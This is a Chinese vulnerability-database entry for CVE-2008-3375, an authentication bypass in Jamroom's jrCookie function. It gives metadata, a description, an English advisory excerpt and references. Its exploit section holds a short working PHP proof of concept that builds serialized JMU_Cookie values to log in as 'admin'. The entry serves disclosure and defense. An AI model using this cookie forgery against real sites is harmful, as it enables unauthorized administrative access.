Jamroom jrCookie 函数 权限绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115772 漏洞类型 授权问题
发布时间 2008-07-28 更新时间 2009-01-29
CVE编号 CVE-2008-3375 CNNVD-ID CNNVD-200807-466
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/32121
https://cxsecurity.com/issue/WLB-2008080081
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200807-466
|漏洞详情
jamroom是一个可以帮你搭建一个类似MySpace?,YouTube?或PureVolume.com?.的社会媒体社区软件平台。JamRoom3.4.0之前的版本中的includes/jamroom-misc.inc.php存在jrCookie函数。远程攻击者可以借助JMU_Cookiecookie中连续数据内的boolean值,绕过身份认证和获得管理访问权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/30406/info

Jamroom is prone to fourteen security vulnerabilities, including an authentication-bypass vulnerability that occurs because the application fails to verify user-supplied data.

Very few technical details are available regarding the remaining security vulnerabilities. We will update this BID when more information is disclosed.

An attacker can exploit the authentication-bypass vulnerability to gain administrative access to the affected application; other attacks are also possible. Effects of the remaining security vulnerabilities are not currently known. 

<?php
$data = array();
$user = 'admin'; // Target

$data[0] = base64_encode(serialize($user));
$data[1] = (bool)0;
echo "\n\n===[ 0 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
$data[1] = (bool)1;
echo "\n\n===[ 1 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
?>
|参考资料

来源:Jamroom
链接:http://www.jamroom.net/phpBB2/viewtopic.php?t=24454
来源:XF
名称:jamroom-jamroommiscinc-auth-bypass(44048)
链接:http://xforce.iss.net/xforce/xfdb/44048
来源:BID
名称:30406
链接:http://www.securityfocus.com/bid/30406
来源:BUGTRAQ
名称:20080728JamRoom<=3.3.8AuthenticationBypass
链接:http://www.securityfocus.com/archive/1/archive/1/494820/100/0/threaded
来源:Jamroom
链接:http://www.jamroom.net/index.php?m=td_tracker&o=view&id=1178
来源:MISC
链接:http://www.gulftech.org/?node=research&article_id=00117-07282008
来源:SREASON
名称:4069
链接:http://securityreason.com/securityalert/4069
来源:SECUNIA
名称:31249
链接:http://secunia.com/advisories/31249